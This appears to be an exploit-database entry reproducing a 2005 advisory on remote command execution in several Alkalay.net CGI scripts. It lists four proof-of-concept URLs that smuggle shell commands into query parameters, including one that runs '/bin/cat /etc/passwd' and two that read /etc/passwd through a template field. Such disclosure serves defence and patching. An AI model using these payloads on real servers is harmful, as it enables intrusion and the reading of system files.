Alkalay.Net (Multiple Scripts) - Remote Command Execution

Author: sullo@cirt.net
type: webapps
platform: cgi
port: 0
date_added: 2005-08-21
date_updated: 2013-06-19
verified: 1
codes: 
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/14893/info

Multiple Alkalay.net scripts are prone to arbitrary remote command execution vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.

An attacker can prefix arbitrary commands with the pipe '|' character and have them executed in the context of the Web server process.

http://www.example.com/cgi-bin/man-cgi?section=0&topic=ls;touch%20/tmp/test
http://www.example.com/cgi-bin/nslookup.cgi?query=example.com%3B/bin/cat%20/etc/passwd&type=ANY&ns=
http://www.example.com/cgi-bin/contribute.pl?template=/etc/passwd&contribdir=.
http://www.example.com/cgi-bin/contribute.cgi?template=/etc/passwd&contribdir=.